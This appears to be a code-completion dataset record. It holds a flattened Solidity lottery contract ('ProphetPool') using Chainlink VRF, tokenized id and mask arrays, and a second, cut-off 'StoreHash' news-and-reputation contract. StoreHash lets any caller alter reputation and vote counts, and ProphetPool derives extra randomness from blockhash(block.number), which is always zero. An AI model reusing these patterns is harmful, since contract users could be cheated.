_keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * @param _seed seed mixed into the input of the VRF. * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee, uint256 _seed) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, _seed)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, _seed, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash].add(1); return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) public { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.6.0; // import "@openzeppelin/contracts/GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Dependency file: contracts/lib/Uint256ArrayUtils.sol // pragma solidity 0.6.10; /** * @title Uint256ArrayUtils * @author Prophecy * * Utility functions to handle uint256 Arrays */ library Uint256ArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(uint256[] memory A, uint256 a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(uint256[] memory A, uint256 a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(uint256[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { uint256 current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The uint256 to remove * @return Returns the array with the object removed. */ function remove(uint256[] memory A, uint256 a) internal pure returns (uint256[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("uint256 not in array."); } else { (uint256[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The uint256 to remove */ function removeStorage(uint256[] storage A, uint256 a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("uint256 not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(uint256[] memory A, uint256 index) internal pure returns (uint256[] memory, uint256) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); uint256[] memory newUint256s = new uint256[](length - 1); for (uint256 i = 0; i < index; i++) { newUint256s[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newUint256s[j - 1] = A[j]; } return (newUint256s, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(uint256[] memory A, uint256[] memory B) internal pure returns (uint256[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; uint256[] memory newUint256s = new uint256[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newUint256s[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newUint256s[aLength + j] = B[j]; } return newUint256s; } /** * Validate uint256 array is not empty and contains no duplicate elements. * * @param A Array of uint256 */ function _validateLengthAndUniqueness(uint256[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate uint256"); } } // Dependency file: contracts/lib/AddressArrayUtils.sol // pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Prophecy * * Utility functions to handle uint256 Arrays */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } // Dependency file: contracts/interfaces/IWETH.sol // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title IWETH * @author Prophecy * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. */ interface IWETH is IERC20{ function deposit() external payable; function withdraw(uint256 wad) external; } // Dependency file: contracts/interfaces/IController.sol // pragma solidity ^0.6.10; /** * @title IController * @author Prophecy */ interface IController { /** * Return WETH address. */ function getWeth() external view returns (address); /** * Getter for chanceToken */ function getChanceToken() external view returns (address); /** * Return VRF Key Hash. */ function getVrfKeyHash() external view returns (bytes32); /** * Return VRF Fee. */ function getVrfFee() external view returns (uint256); /** * Return Link Token address for VRF. */ function getLinkToken() external view returns (address); /** * Return VRF coordinator. */ function getVrfCoordinator() external view returns (address); /** * Return all pools addreses */ function getAllPools() external view returns (address[] memory); } // Dependency file: contracts/interfaces/IChanceToken.sol // pragma solidity ^0.6.10; /** * @title IChanceToken * @author Prophecy * * Interface for ChanceToken */ interface IChanceToken { /** * OWNER ALLOWED MINTER: Mint NFT */ function mint(address _account, uint256 _id, uint256 _amount) external; /** * OWNER ALLOWED BURNER: Burn NFT */ function burn(address _account, uint256 _id, uint256 _amount) external; } // Root file: contracts/ProphetPool.sol pragma solidity ^0.6.10; pragma experimental ABIEncoderV2; // import { VRFConsumerBase } from "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; // import { Uint256ArrayUtils } from "contracts/lib/Uint256ArrayUtils.sol"; // import { AddressArrayUtils } from "contracts/lib/AddressArrayUtils.sol"; // import { IWETH } from "contracts/interfaces/IWETH.sol"; // import { IController } from "contracts/interfaces/IController.sol"; // import { IChanceToken } from "contracts/interfaces/IChanceToken.sol"; /** * @title ProphetPool * @author Prophecy * * Smart contract that facilitates that draws lucky winners in the pool and distribute rewards to the winners. * It should be whitelisted for the mintable role for ChanceToken(ERC1155) */ contract ProphetPool is VRFConsumerBase, Ownable { using Uint256ArrayUtils for uint256[]; using AddressArrayUtils for address[]; /* ============ Structs ============ */ struct PoolConfig { uint256 numOfWinners; uint256 participantLimit; uint256 enterAmount; uint256 feePercentage; uint256 randomSeed; uint256 startedAt; } /* ============ Enums ============ */ enum PoolStatus { NOTSTARTED, INPROGRESS, CLOSED } /* ============ Events ============ */ event FeeRecipientSet(address indexed _feeRecipient); event MaxParticipationCompleted(address indexed _from); event RandomNumberGenerated(uint256 indexed randomness); event WinnersGenerated(uint256[] winnerIndexes); event PoolSettled(); event PoolStarted( uint256 participantLimit, uint256 numOfWinners, uint256 enterAmount, uint256 feePercentage, uint256 startedAt ); event PoolReset(); event EnteredPool(address indexed _participant, uint256 _amount, uint256 indexed _participantIndex); /* ============ State Variables ============ */ IController private controller; address private feeRecipient; string private poolName; IERC20 private enterToken; PoolStatus private poolStatus; PoolConfig private poolConfig; uint256 private chanceTokenId; address[] private participants; uint256[] private winnerIndexes; uint256 private totalEnteredAmount; uint256 private rewardPerParticipant; bool internal isRNDGenerated; uint256 internal randomResult; bool internal areWinnersGenerated; /* ============ Modifiers ============ */ modifier onlyValidPool() { require(participants.length < poolConfig.participantLimit, "exceed max"); require(poolStatus == PoolStatus.INPROGRESS, "in progress"); _; } modifier onlyEOA() { require(tx.origin == msg.sender, "should be EOA"); _; } /* ============ Constructor ============ */ /** * Create the ProphetPool with Chainlink VRF configuration for Random number generation. * * @param _poolName Pool name * @param _enterToken ERC20 token to enter the pool. If it's ETH pool, it should be WETH address * @param _controller Controller * @param _feeRecipient Where the fee go * @param _chanceTokenId ERC1155 Token id for chance token */ constructor( string memory _poolName, address _enterToken, address _controller, address _feeRecipient, uint256 _chanceTokenId ) public VRFConsumerBase(IController(_controller).getVrfCoordinator(), IController(_controller).getLinkToken()) { poolName = _poolName; enterToken = IERC20(_enterToken); controller = IController(_controller); feeRecipient = _feeRecipient; chanceTokenId = _chanceTokenId; poolStatus = PoolStatus.NOTSTARTED; } /* ============ External/Public Functions ============ */ /** * Set the Pool Config, initializes an instance of and start the pool. * * @param _numOfWinners Number of winners in the pool * @param _participantLimit Maximum number of paricipants * @param _enterAmount Exact amount to enter this pool * @param _feePercentage Manager fee of this pool * @param _randomSeed Seed for Random Number Generation */ function setPoolRules( uint256 _numOfWinners, uint256 _participantLimit, uint256 _enterAmount, uint256 _feePercentage, uint256 _randomSeed ) external onlyOwner { require(poolStatus == PoolStatus.NOTSTARTED, "in progress"); require(_numOfWinners != 0, "invalid numOfWinners"); require(_numOfWinners < _participantLimit, "too much numOfWinners"); poolConfig = PoolConfig( _numOfWinners, _participantLimit, _enterAmount, _feePercentage, _randomSeed, block.timestamp ); poolStatus = PoolStatus.INPROGRESS; emit PoolStarted( _participantLimit, _numOfWinners, _enterAmount, _feePercentage, block.timestamp ); } /** * Set the Pool Config, initializes an instance of and start the pool. * * @param _feeRecipient Number of winners in the pool */ function setFeeRecipient(address _feeRecipient) external onlyOwner { require(_feeRecipient != address(0), "invalid address"); feeRecipient = _feeRecipient; emit FeeRecipientSet(feeRecipient); } /** * Enter pool with ETH */ function enterPoolEth() external payable onlyValidPool onlyEOA returns (uint256) { require(msg.value == poolConfig.enterAmount, "insufficient amount"); if (!_isEthPool()) { revert("not accept ETH"); } // wrap ETH to WETH IWETH(controller.getWeth()).deposit{ value: msg.value }(); return _enterPool(); } /** * Enter pool with ERC20 token */ function enterPool() external onlyValidPool onlyEOA returns (uint256) { enterToken.transferFrom( msg.sender, address(this), poolConfig.enterAmount ); return _enterPool(); } /** * Settle the pool, the winners are selected randomly and fee is transfer to the manager. */ function settlePool() external { require(isRNDGenerated, "RND in progress"); require(poolStatus == PoolStatus.INPROGRESS, "pool in progress"); // generate winnerIndexes until the numOfWinners reach uint256 newRandom = randomResult; uint256 offset = 0; while(winnerIndexes.length < poolConfig.numOfWinners) { uint256 winningIndex = newRandom.mod(poolConfig.participantLimit); if (!winnerIndexes.contains(winningIndex)) { winnerIndexes.push(winningIndex); } offset = offset.add(1); newRandom = _getRandomNumberBlockchain(offset, newRandom); } areWinnersGenerated = true; emit WinnersGenerated(winnerIndexes); // set pool CLOSED status poolStatus = PoolStatus.CLOSED; // transfer fees uint256 feeAmount = totalEnteredAmount.mul(poolConfig.feePercentage).div(100); rewardPerParticipant = (totalEnteredAmount.sub(feeAmount)).div(poolConfig.numOfWinners); _transferEnterToken(feeRecipient, feeAmount); // collectRewards(); emit PoolSettled(); } /** * The winners of the pool can call this function to transfer their winnings * from the pool contract to their own address. */ function collectRewards() external { require(poolStatus == PoolStatus.CLOSED, "not settled"); for (uint256 i = 0; i < poolConfig.participantLimit; i = i.add(1)) { address player = participants[i]; if (winnerIndexes.contains(i)) { // if winner _transferEnterToken(player, rewardPerParticipant); } else { // if loser IChanceToken(controller.getChanceToken()).mint(player, chanceTokenId, 1); } } _resetPool(); } /** * The contract will receive Ether */ receive() external payable {} /** * Getter for controller */ function getController() external view returns (address) { return address(controller); } /** * Getter for fee recipient */ function getFeeRecipient() external view returns (address) { return feeRecipient; } /** * Getter for poolName */ function getPoolName() external view returns (string memory) { return poolName; } /** * Getter for enterToken */ function getEnterToken() external view returns (address) { return address(enterToken); } /** * Getter for chanceTokenId */ function getChanceTokenId() external view returns (uint256) { return chanceTokenId; } /** * Getter for poolStatus */ function getPoolStatus() external view returns (PoolStatus) { return poolStatus; } /** * Getter for poolConfig */ function getPoolConfig() external view returns (PoolConfig memory) { return poolConfig; } /** * Getter for totalEnteredAmount */ function getTotalEnteredAmount() external view returns (uint256) { return totalEnteredAmount; } /** * Getter for rewardPerParticipant */ function getRewardPerParticipant() external view returns (uint256) { return rewardPerParticipant; } /** * Get all participants */ function getParticipants() external view returns(address[] memory) { return participants; } /** * Get one participant by index * @param _index Index of the participants array */ function getParticipant(uint256 _index) external view returns(address) { return participants[_index]; } /** * Getter for winnerIndexes */ function getWinnerIndexes() external view returns(uint256[] memory) { return winnerIndexes; } /** * Get if the account is winner */ function isWinner(address _account) external view returns(bool) { (uint256 index, bool isExist) = participants.indexOf(_account); if (isExist) { return winnerIndexes.contains(index); } else { return false; } } /* ============ Private/Internal Functions ============ */ /** * Participant enters the pool and enter amount is transferred from the user to the pool. */ function _enterPool() internal returns(uint256 _participantIndex) { participants.push(msg.sender); totalEnteredAmount = totalEnteredAmount.add(poolConfig.enterAmount); if (participants.length == poolConfig.participantLimit) { emit MaxParticipationCompleted(msg.sender); _getRandomNumber(poolConfig.randomSeed); } _participantIndex = (participants.length).sub(1); emit EnteredPool(msg.sender, poolConfig.enterAmount, _participantIndex); } /** * Reset the pool, clears the existing state variable values and the pool can be initialized again. */ function _resetPool() internal { poolStatus = PoolStatus.INPROGRESS; delete totalEnteredAmount; delete rewardPerParticipant; isRNDGenerated = false; randomResult = 0; areWinnersGenerated = false; delete winnerIndexes; delete participants; emit PoolReset(); uint256 tokenBalance = enterToken.balanceOf(address(this)); if (tokenBalance > 0) { _transferEnterToken(feeRecipient, tokenBalance); } } /** * Transfer enterToken even it's ETH or ERC20. * * @param _to Offset to generate the random number * @param _amount Random number to generate the other random number */ function _transferEnterToken(address _to, uint256 _amount) internal { if (_isEthPool()) { IWETH(controller.getWeth()).withdraw(_amount); (bool status, ) = payable(_to).call{value: _amount}(""); require(status, "ETH not transferred"); } else { enterToken.transfer(address(_to), _amount); } } /** * Check pool is ETH pool or not */ function _isEthPool() internal view returns (bool) { return address(enterToken) == controller.getWeth(); } /** * Generate a random number based on the blockHash and random offset * * @param _offset Offset to generate the random number * @param _randomness Random number to generate the other random number */ function _getRandomNumberBlockchain(uint256 _offset, uint256 _randomness) internal view returns (uint256) { bytes32 baseHash = keccak256( abi.encodePacked( blockhash(block.number), bytes32(_offset), bytes32(_randomness) ) ); return uint256(baseHash); } /** * Calls ChainLink Oracle's inherited function for Random Number Generation. * The contract must have enough LINK required for VRF. * * @param _userProvidedSeed Seed to generate the random number */ function _getRandomNumber(uint256 _userProvidedSeed) internal returns (bytes32 requestId) { require( IERC20(controller.getLinkToken()).balanceOf(address(this)) >= controller.getVrfFee(), "not enough LINK" ); randomResult = 0; isRNDGenerated = false; return requestRandomness( controller.getVrfKeyHash(), controller.getVrfFee(), _userProvidedSeed ); } /** * Callback function used by VRF Coordinator. * * @param _randomness Generated random number */ function fulfillRandomness(bytes32, uint256 _randomness) internal override { randomResult = _randomness; isRNDGenerated = true; emit RandomNumberGenerated(_randomness); } }
* Enter pool with ERC20 token/
function enterPool() external onlyValidPool onlyEOA returns (uint256) { enterToken.transferFrom( msg.sender, address(this), poolConfig.enterAmount ); return _enterPool(); }
225,635
[ 1, 10237, 2845, 598, 4232, 39, 3462, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6103, 2864, 1435, 3903, 1338, 1556, 2864, 1338, 41, 28202, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 6103, 1345, 18, 13866, 1265, 12, 203, 7734, 1234, 18, 15330, 16, 203, 7734, 1758, 12, 2211, 3631, 203, 7734, 2845, 809, 18, 2328, 6275, 203, 5411, 11272, 203, 203, 3639, 327, 389, 2328, 2864, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma experimental ABIEncoderV2; pragma solidity ^0.7.0; contract StoreHash { struct newsUpdate { address user; string username; string bio; string timeStamp; string location; string fileHash; string imageHash; string category; string extension; int post_repu; uint id; string tag; //uint user_repu; } struct votedPost { uint id; bool vote; } newsUpdate[] public newsList; mapping(address => uint) public userReputation; mapping(string => mapping(address => bool)) public postToAccess; mapping(address => votedPost[]) public votedPostId; mapping(address => bytes32) public userProfile; mapping(address => bytes32) public userBio; // account => ipfshas => up/downvote => true/false mapping(address => mapping(string => mapping(bool => bool))) public userVotedPosts; mapping(address=> mapping(uint => bool)) public userSavedPosts; event storageUpdate(string newValue, address updatedBy); function sendUpdate(string memory ipfsHash, string memory location, string memory time, string memory imageHash, string memory category, string memory tag, string memory extension) public { newsList.push(newsUpdate({ user:msg.sender, username: this.bytes32ToString(userProfile[msg.sender]), bio: this.bytes32ToString(userBio[msg.sender]), timeStamp:time, location:location, fileHash: ipfsHash, imageHash: imageHash, category: category, extension: extension, post_repu: 0, id: newsList.length, tag: tag //user_repu: userReputation[msg.sender] })); postToAccess[ipfsHash][msg.sender] =true; if (userReputation[msg.sender] != 0x0){ userReputation[msg.sender]+=10; }else{ userReputation[msg.sender]=10; } } // check if they are first-time users function checkFirstTimeUser(address account) public view returns (bool) { if (userReputation[account] != 0x0){ return false; } else { return true; } } function savePost(address account, uint id) public { userSavedPosts[account][id] = true; } function unsavePost(address account, uint id) public { userSavedPosts[account][id] = false; } function isPostSaved(address account, uint id) public view returns (bool) { return (userSavedPosts[account][id] == true); } function getUpdate() public view returns (newsUpdate[] memory) { return newsList; } function getVotedPosts(address account) public view returns (votedPost[] memory) { return votedPostId[account]; } function getReputation(address account) public view returns (uint){ return userReputation[account]; } function addVotedPosts(address account, string memory ipfsHash, bool vote) public{ userVotedPosts[account][ipfsHash][vote] = true; } function getVote(address account, string memory ipfsHash) public view returns (uint){ if (userVotedPosts[account][ipfsHash][true]){ return 1; } if (userVotedPosts[account][ipfsHash][false]){ return 2; } return 0; } function checkVotePostAccess(address account, string memory ipfsHash) public view returns (bool){ return !userVotedPosts[account][ipfsHash][true] && !userVotedPosts[account][ipfsHash][false]; } function increaseReputation(address account, uint amount) public { userReputation[account] +=amount; // } function decreaseReputation(address account, uint amount) public { require(userReputation[account]>amount); userReputation[account] -=amount; } function increaseVote(uint id) public { newsList[id].post_repu += 1; } function decreaseVote(uint id) public { newsList[id].post_repu -= 1; } function upvote(address wallet, address account, string memory ipfsHash, uint id) public returns (uint){ if (this.checkVotePostAccess(wallet, ipfsHash)){ this.increaseReputation(account, 1); this.increaseVote(id); this.addVotedPosts(wallet, ipfsHash, true); votedPost memory v = votedPost(id, true); votedPostId[wallet].push(v); return 0; } return 1; } function downvote(address wallet, address account, string memory ipfsHash, uint id) public returns (uint) { if (this.checkVotePostAccess(wallet, ipfsHash)){ this.decreaseReputation(account, 1); this.decreaseVote(id); 